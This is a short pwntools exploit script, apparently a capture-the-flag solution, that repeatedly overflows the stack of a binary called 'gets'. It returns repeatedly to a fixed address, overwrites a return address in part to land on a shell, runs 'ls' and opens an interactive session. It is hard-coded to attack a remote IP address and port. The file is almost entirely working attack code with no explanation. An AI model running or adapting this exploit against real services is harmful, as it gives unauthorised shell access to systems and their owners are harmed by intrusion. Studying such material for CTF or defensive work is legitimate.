from pwn import * context.terminal = ['tmux', 'split', '-h'] #context.terminal = ['gnome-terminal', '-x', 'sh', '-c'] if args['DEBUG']: context.log_level = 'debug' elfpath = './gets' context.binary = elfpath elf = ELF(elfpath) bits = elf.bits def exp(ip, port): for i in range(0x1000): if args['REMOTE']: p = remote(ip, port) else: p = process(elfpath, timeout=2) # gdb.attach(p) try: payload = 0x18 * 'a' + p64(0x40059B) for _ in range(2): payload += 'a' * 8 * 5 + p64(0x40059B) payload += 'a' * 8 * 5 + '\x16\02' p.sendline(payload) p.sendline('ls') data = p.recv() print data p.interactive() p.close() except Exception: p.close() continue if __name__ == "__main__": exp('106.75.4.189', 35273)